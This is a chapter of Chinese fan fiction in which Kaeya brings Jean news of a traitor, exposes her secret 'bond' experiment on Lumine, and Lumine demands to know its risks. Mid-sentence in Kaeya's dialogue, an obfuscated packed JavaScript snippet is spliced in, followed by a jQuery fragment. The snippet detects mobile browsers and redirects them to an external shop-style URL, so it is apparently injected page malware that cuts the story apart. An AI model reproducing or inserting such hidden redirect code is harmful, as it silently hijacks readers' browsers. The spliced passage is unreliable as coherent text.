铁门外传来的不只是马蹄声,还有一道清脆的、金属叩击门环的声响。
“咚、咚、咚。”
不紧不慢,带着凯亚特有的、让人牙痒的节奏感。在万籁俱寂的深夜山林里,这声音清晰得刺耳。
荧贴在冰冷的窗玻璃后,看着月光下凯亚那张笑意盎然的脸,心脏在胸腔里撞得生疼。他怎么找到这里的?琴明明说过这里的位置是绝密。是内应?还是他一直在监视?
没等她想明白,楼下已经传来了脚步声,快得惊人。琴甚至没有点灯,荧只看到一道深灰色的影子掠过客厅,下一秒,主宅厚重的大门被猛地拉开。
琴站在门口,身上只披了一件外套,赤着脚踩在冰凉的石板地上。她的长发散着,在夜风里微微扬起。荧从未见过琴这个样子——褪去了白日里所有刻意的规整与克制,像一头被侵入巢穴的野兽,周身散发着一种近乎实质的、冰冷的怒意。
“凯亚。”琴的声音比夜风更冷,“给我一个不立刻把你扔进悬崖的理由。”
凯亚站在铁门外,隔着锈迹斑斑的栏杆,笑容半点没减。“哎呀,团长,别这么凶嘛。我大老远跑来,可是有正事。”他晃了晃手里一个密封的牛皮纸袋,“关于内应,有突破了。我想……您应该会想第一时间知道。”
琴的目光落在那纸袋上,沉默了几秒。然后,她抬手解开了铁门上一道隐形的符文锁。门轴发出艰涩的“嘎吱”声,缓缓向内打开。
“进来。”琴转身往回走,语气不容置疑,“只给你十分钟。”
凯亚牵马走进庄园院子,随手把缰绳系在一棵枯树上。他抬头,又朝荧所在的窗口望了一眼,甚至还眨了眨眼,这才不慌不忙地跟着琴走进了主宅。
荧在楼上踌躇了几秒。她知道自己应该待在房间里,琴明确说过“不要见任何外人”。但好奇心,以及更深的不安,驱使着她悄悄推开房门,踮起脚尖走下楼梯。
客厅里没有点灯,只有壁炉里琴刚刚点燃的一小簇火焰,提供着有限的光亮和温度。琴已经重新披上了一件更厚的外袍,坐在壁炉旁唯一的高背椅上,坐姿笔直,像在主持军事会议。凯亚则懒洋洋地靠在对面墙壁上,手里把玩着那个牛皮纸袋。
“……所以你就连夜闯到这里?”琴的声音压得很低,但每个字都像冰棱,“你知不知道,如果有人跟踪你——”
“放心,团长。反追踪的活儿,我比你在行。”凯亚笑嘻嘻地打断,“我绕了四圈,还特意去清泉镇兜了个风,甩掉了所有可能的小尾巴。再说了……”他瞥了一眼楼梯的方向,尽管荧确信自己藏在阴影里,“您选的这个地方,一般人就算知道大概方位,也找不到具体入口。古恩希尔德家族的老把戏了,对吧?”
琴没有接他的话茬。“说正事。内应是谁?”
凯亚脸上的笑容淡了些。他站直身体,将牛皮纸袋放在两人之间的矮桌上,却没有立刻打开。
“在说之前,团长,我得先确认一件事。”凯亚的冰蓝色眼眸在跃动的火光中显得异常专注,“您对这位‘小顾问’的训练……到底是为了让她成为对抗‘捕食者’的武器,还是……”他顿了顿,“为了制造一个您理想中的‘完美样本’,甚至不惜把她和外界彻底隔离?”
空气骤然凝固。
荧在楼梯阴影里屏住了呼吸。她看到琴放在扶手上的手指,慢慢收紧了。
“这与你无关。”琴的声音冷得像西风高原的冻土。
“哦?真的无关吗?”凯亚往前走了半步,弯腰撑在矮桌边缘,拉近了和琴的距离,“如果内应的身份,恰恰与您正在进行的‘实验’有关呢?如果那个潜伏在骑士团阴影里的人,目标不仅仅是帮‘捕食者’抓走她,还想得到您的‘研究数据’呢?”
壁炉里的火焰“噼啪”爆开一颗火星。
琴的瞳孔几不可查地收缩了一下。但她脸上没有任何表情变化,只是慢慢向后靠进椅背,用一种审视的目光看着凯亚。
“你在指控谁?”琴问。
凯亚终于打开了那个牛皮纸袋,抽出里面的文件。不是很多,只有几页纸和两张画像。他将第一张画像推到琴面前。
画像上是一个中年男人,穿着西风教会的执事袍,面容普通,气质温和。
“埃德温,后勤部档案室的文员,在骑士团工作了十五年。”凯亚说,“性格低调,人缘不错,唯一的爱好是养鸽子。我们之前排查了三遍,都没发现他有任何问题。”
琴看着画像,眉头微微蹙起:“继续。”
“问题出在鸽子上。”凯亚抽出第二张纸,上面是潦草的字迹,像是某种速记符号的破译,“我的人截获了他上个月放出的三只信鸽。破译后的内容显示,他在定期向城外汇报骑士团的人员调动、物资储备,以及……”他抬起眼,看向琴,“Fork管控科的所有外勤任务记录,包括您每一次带荧顾问出城训练的时间、地点和护卫配置。”
琴的呼吸滞了一瞬。
“但这还不是最有趣的。”凯亚的声音压得更低了,带着一种危险的兴奋感,“在搜查他住所的时候,我们发现了这个。”他抽出最后一张纸,那是一份抄录的、残缺的记录,纸张边缘有烧焦的痕迹。
琴接过那张纸。火光下,荧看到她拿着纸的手指,微微颤抖了一下。
“这是……”琴的声音第一次出现了裂痕。
“古恩希尔德家族早期关于‘Fork-Cake联结稳定性’的实验记录片段。”凯亚接话,语气里没了平时的轻佻,“从笔迹和用纸判断,至少是八十年前的东西。但上面的一些数据标注方式,和您最近提交给丽莎小姐、要求她协助分析的‘样本训练进展报告’,格式几乎一模一样。”
他直起身,冰蓝色的眼眸牢牢锁住琴。
“埃德温只是一个传递信息的信使。他背后的人,不仅能接触到骑士团的核心档案,还能拿到你们家族封存的、连普通骑士团高层都无权调阅的禁忌研究资料。”凯亚一字一顿,“这个人,就在您身边,团长。而且,他或她,对您正在做什么,了如指掌。”
客厅里死一般寂静。只有壁炉火焰燃烧的细微声响。
荧躲在楼梯的阴影里,手脚冰凉。凯亚的话像一把冰冷的钥匙,捅开了她一直隐约感觉到、却不敢细想的恐惧——她的训练,她的挣扎,她每一次在琴面前暴露的脆弱和进步,都可能被另一双眼睛冷冷地记录着,评估着,甚至……期待着。
琴缓缓放下了那张残破的记录。她闭上眼睛,几秒钟后再次睁开时,里面所有的情绪波动都已消失,只剩下深不见底的寒潭。
“埃德温现在在哪里?”她问,声音恢复了绝对的冷静。
“地牢。我亲自审的。”凯亚说,“他很配合,或者说,他早就知道自己会被发现。他交代的内容不多,咬定自己只是收钱办事,不知道上线是谁,联络方式只有信鸽。但他在崩溃边缘时,说漏了一句话。”
“什么话?”
凯亚盯着琴的眼睛,缓缓复述:“‘那位大人说……实验就快成功了,不能让果实被别人摘走。’”
“果实……”琴低声重复。
“指的是谁,应该不用我多说了吧?”凯亚的目光,再次有意无意地飘向楼梯的方向。
荧感觉自己的血液都要冻住了。
琴沉默了很长时间。火焰在她脸上投下摇曳的光影,让她的表情晦暗不明。许久,她终于开口,声音里带着一种疲惫的沙哑:
“你的情报很有价值,凯亚。你可以回去了。后续调查,我会亲自接手。”
“回去?”凯亚挑眉,“团长,现在的情况是,您这个‘安全屋’可能根本就不安全。那个内应能弄到八十年前的实验记录,会查不到这座家族旧庄园的位置?我敢打赌,埃德温被捕的消息,现在已经传出去了。‘捕食者’,或者他背后的‘那位大人’,随时可能找上门来。”
他往前走了一步,姿态不再是玩世不恭的部下,更像一个平等的、甚至带着些许压迫感的谈判者。
“我的建议是,立刻终止这里的封闭训练,把荧顾问带回骑士团总部。在堡垒里,总比在这荒山野岭孤立无援要安全。”
“不行。”琴几乎想都没想就拒绝了,“她的训练进入关键阶段,现在中断,前功尽弃。而且,总部未必就更安全——内应可能就在总部。”
“那您打算怎么办?继续在这里,等着被人瓮中捉鳖?”凯亚的声音也冷了下来,“团长,我知道您对她有‘安排’,有‘计划’。但任何计划,都得建立在人活着的基础上。如果她被抓走,或者出了意外,您的所有研究,所有‘证明’,就都成了笑话。”
“我不会让那种事发生。”琴站起身,她比凯亚矮一些,但此刻的气势却丝毫不弱,“这座庄园的防护,远比你以为的要坚固。而且,我有我的方法,确保她的安全。”
“您的方法?”凯亚扯了扯嘴角,那笑容没什么温度,“是指那个‘镇魂香’,还是指您正在尝试建立的、更直接的‘气息联结’?”
这句话像一根针,狠狠扎进了寂静里。
琴的身体几不可查地僵硬了。她看着凯亚,眼神锐利得像要把他剖开:“你调查我?”
“保护蒙德和骑士团的成员,是我的职责。”凯亚毫不退让地回视,“而了解潜在的风险,是履行职责的前提。您动用了家族封存的禁忌知识,试图在一个未完全觉醒的Fork身上建立定向引导和防护联结——这在古恩希尔德家族的历史上,是被标注为‘高风险’的操作。您没告诉荧顾问,这种联结一旦建立,如果被强行切断,或者被更强大的Cake气息覆盖干扰,会对她造成什么样的精神反噬吧?”
楼梯阴影里,荧猛地捂住了嘴,才没让自己惊呼出声。精神反噬?琴从来没有提过这个。
琴的脸色在火光下显得有些苍白。但她没有否认,只是缓缓地说:“我有把握控制风险。”
“您的把握,是建立在一切按您计划进行的基础上。”凯亚摇头,“但我们现在面对的是藏在暗处的敌人,一个可能对您家族秘辛和Fork研究都极为了解的敌人。他如果知道您在用这种方法‘标记’和‘保护’她,您猜他会怎么做?是破坏联结让她失控,还是……利用这个联结,反过来影响甚至控制她?”
每一个字,都像重锤砸在荧的心上。她感到一阵眩晕,不得不紧紧抓住冰冷的楼梯扶手。
琴沉默了。她放在身侧的手,握成了拳,指节发白。
凯亚看着她的样子,冰蓝色的眼眸深处,掠过一丝极其复杂的情绪。那里面有对琴固执的恼怒,有对局势的担忧,还有一种……连他自己或许都没完全理解的,看到琴如此不计代价地保护另一个人时,所产生的细微刺痛感。
他放缓了语气,但话里的内容依旧尖锐:“团长,我不是来跟您吵架的,也不是来质疑您的方法。我只是希望您明白,她现在不止是您的‘样本’,也是骑士团的顾问,是蒙德需要保护的人之一。她的安全,不应该完全系于您一个人的判断和手段上。”
他顿了顿,声音低了些,更像是在自言自语:“而且……您真的觉得,把她完全隔绝起来,只让您一个人的气息成为她世界的全部,是对她好吗?Fork也是人,不是实验体。她需要接触真实的世界,需要学会在复杂的环境里控制自己,而不是永远活在一个被您净化过的无菌箱里。”
这番话说完,客厅里陷入了更长久的、令人窒息的沉默。
荧站在楼梯上,觉得自己像个偷听大人谈话的孩子,听到了太多远超她理解和承受能力的东西。联结,反噬,标记,无菌箱……这些词在她脑子里嗡嗡作响。她想起下午琴按住她颈侧时,那种被“钉回现实”的侵略性触感,想起琴说她能感知到“连接”的强度,想起琴在书房里看着那本日志时,眼中深藏的、想要打破枷锁的执念。
琴所做的一切,背后到底藏着多少她不知道的算计和风险?
而凯亚……他深夜冒险前来,真的只是为了传递情报吗?还是说,他也和迪卢克一样,在用他自己的方式,试图把她从琴的“实验”里拉出来?
就在这令人难堪的寂静几乎要凝固成实体时,琴忽然开口了,声音很轻,却异常清晰:
“凯亚,你对她,到底抱着什么样的心思?”
凯亚脸上的笑容,第一次彻底消失了。他站在那里,像一尊突然被冻结的冰雕。
琴没有等他回答,继续说了下去,语气是一种冰冷的、剖析式的平静:
“是骑兵队长对下属的关心?是Cake对Fork天然的好奇和警惕?还是说……”她抬起眼,湖蓝色的眼眸里倒映着跳动的火焰,也倒映着凯亚骤然收缩的瞳孔,“像迪卢克一样,你也对她产生了那种危险的‘兴趣’?”
楼梯上,荧的呼吸彻底停了。
凯亚与琴对视着,空气里仿佛有无形的刀锋在碰撞。许久,凯亚的嘴角才慢慢扯开一个弧度,但那笑容里没有任何暖意,只有一种近乎自嘲的锋利。
“团长,您这是在审问我吗?”他轻声反问,“那您呢?您对她,又是什么心思?是研究者对样本的专注,是师长对学生的责任,还是……”他模仿着琴的语气,“古恩希尔德家族的继承者,对那个可能证明自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122937|195980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己道路正确的‘希望’,所产生的,不容他人染指的……占有欲?”
最后三个字,他说得很慢,很清晰,像三颗冰冷的石子,投入死寂的湖面。
琴的瞳孔猛地缩紧。她放在扶手上的手背上,青筋微微凸起。
就在气氛紧绷到几乎要断裂的瞬间——
“够了。”
一个沙哑的、带着颤抖的声音,从楼梯的方向传来。
琴和凯亚同时转头。
荧从阴影里走了出来。她没有点灯,脸庞在昏暗的光线下看不太清表情,但那双金色的眼睛,在黑暗中亮得惊人。她一步一步走下最后几级台阶,脚步有些虚浮,但背挺得很直。
她走到客厅中央,站在琴和凯亚之间,目光扫过两人。
“我的安全,我的训练,我的……‘联结’。”她开口,声音还有些不稳,但每个字都咬得很清楚,“是不是应该先问问,我这个‘样本’、‘顾问’、‘果实’……自己是怎么想的?”
客厅里一片死寂。壁炉的火光在三人脸上跳动,将他们的影子投射在石壁上,纠缠成一团混乱的、巨大的阴影。
琴看着荧,嘴唇动了动,似乎想说什么,但最终没有发出声音。
凯亚则收起了脸上所有的表情,冰蓝色的眼眸深不见底,只是静静地看着她。
荧深吸了一口气,转向琴:“团长,凯亚队长说的‘精神反噬’,是真的吗?”
琴的喉结滚动了一下。她避开了荧的目光,看向壁炉里的火焰,几秒钟后,才极轻微地点了一下头。
“为什么……不告诉我?”
“因为风险可控。”琴的声音有些干涩,“只要我在你身边,只要联结不被恶意破坏或强行覆盖,它对你的好处远大于风险。它能保护你,让你在诱惑面前更清醒。”
“那如果……您不在我身边呢?”荧问,“如果像凯亚队长说的,有人破坏了它呢?”
琴沉默了。
答案不言而喻。
荧点了点头,又转向凯亚:“队长,您深夜过来,除了送情报,是不是也想确认,我在这里是不是真的‘安全’,是不是真的……自愿?”
凯亚没有立刻回答。他看着她,目光在她脸上逡巡,像是在评估她这句话里有多少真实的勇气,又有多少是强撑的镇定。许久,他才缓缓开口:
“是。”他承认得很干脆,“我不信任完全封闭的环境,也不信任任何把一个人变成‘唯一解’的方案。我觉得你需要知道所有的信息,然后自己做选择,而不是被蒙在鼓里,被别人以‘为你好’的名义安排一切。”
他说这话时,目光意有所指地扫过琴。
荧再次点了点头。她站在那里,看着眼前这两个立场迥异、却同样对她有着复杂影响的人,感到一种前所未有的疲惫,以及一种从疲惫深处生长出来的、冰冷的清醒。
“情报我收到了。”她对凯亚说,“谢谢您冒险送来。关于内应和可能的危险,我会小心。”
然后,她转向琴:“团长,训练可以继续。但关于‘联结’……我需要知道全部,包括所有的好处和所有的风险。然后,由我自己决定,要不要继续用它,以及……用到什么程度。”
她的语气很平静,但里面有一种不容置疑的坚定。那不是学员对教官的请求,而是一个独立的个体,在索回对自己生命的知情权和选择权。
琴看着荧,湖蓝色的眼眸里翻涌着极其复杂的情绪——有震惊,有被挑战权威的愠怒,有对她突然“长大”的陌生感,或许……还有一丝极隐蔽的、被那坚定眼神所触动的震颤。
最终,所有的情绪都沉淀下去,化为一种深沉的、带着审视的平静。
“好。”琴说,声音恢复了平时的沉稳,“明天训练开始前,我会给你所有相关资料。”
她答应了。如此干脆,反倒让荧愣了一下。
“至于你,凯亚。”琴的目光转向骑兵队长,重新带上了团长式的威严,“情报已经送到,你的‘确认’也完成了。现在,立刻离开。庄园的防护会重新调整,在训练结束前,我不希望再有任何‘访客’。”
这是逐客令,也是最后的警告。
凯亚挑了挑眉,似乎还想说什么,但目光在荧和琴之间转了一圈后,他耸了耸肩,恢复了那副玩世不恭的样子。
“好吧,看来我这个不受欢迎的客人该走了。”他朝荧挥挥手,“小顾问,自己保重。记住,蒙德城的大门,永远为你敞开。”
说完,他不再看琴,转身走出了客厅,身影很快融入门外的夜色中。马蹄声再次响起,由近及远,渐渐消失在山林深处。
客厅里,又只剩下荧和琴两个人。壁炉的火光摇曳,将她们的影子长长地投在地上。
琴没有看荧,只是走到壁炉边,拿起铁钳,拨弄了一下里面的木柴。火焰“腾”地蹿高了一些,映亮了她没什么表情的侧脸。
“去睡吧。”她说,声音里听不出情绪,“明天……会是很长的一天。”
荧看着她孤独挺直的背影,张了张嘴,最终还是什么也没说,默默转身上了楼。
回到房间,关上门,荧背靠着冰冷的木门,缓缓滑坐到地上。她把脸埋进膝盖,身体无法控制地轻轻颤抖起来。
今晚听到的每一个字,都在她脑子里嗡嗡作响,像一群被困的蜂。内应,联结,反噬,果实,占有欲,无菌箱……
她一直知道琴对她有所图谋,知道迪卢克和凯亚的接近带着各自的目的。但直到今晚,当这些目的被赤裸裸地摊开在眼前,用那些冰冷的、分析性的词汇描述出来时,她才真切地感受到那种被物化的寒意。
她是样本,是顾问,是果实,是希望,是需要被保护的对象。
唯独不是一个可以简单被爱、或者去爱的……普通人。
她必须自己找到那条路。
即使那条路,意味着要直面所有的风险,所有的算计,以及……所有那些她尚未完全理解、却已悄然缠绕上她的、复杂而沉重的情感。
窗外,夜色浓稠如墨。
山林深处,隐约传来夜枭的啼叫,悠长而孤寂。
这座古老的庄园,依旧沉默地矗立在黑暗里。
【下章预告】
琴兑现承诺,向荧揭示了“联结”的全部真相与风险,荧必须在知情后做出选择。训练继续,但气氛已截然不同。庄园外,凯亚带回的情报在骑士团内部引发暗流,而迪卢克沿着“王”的线索追查到边境,却遭遇了意想不到的“熟人”。三方势力的视线,正同时聚焦于这座孤立的训练场,脆弱的平衡即将被打破……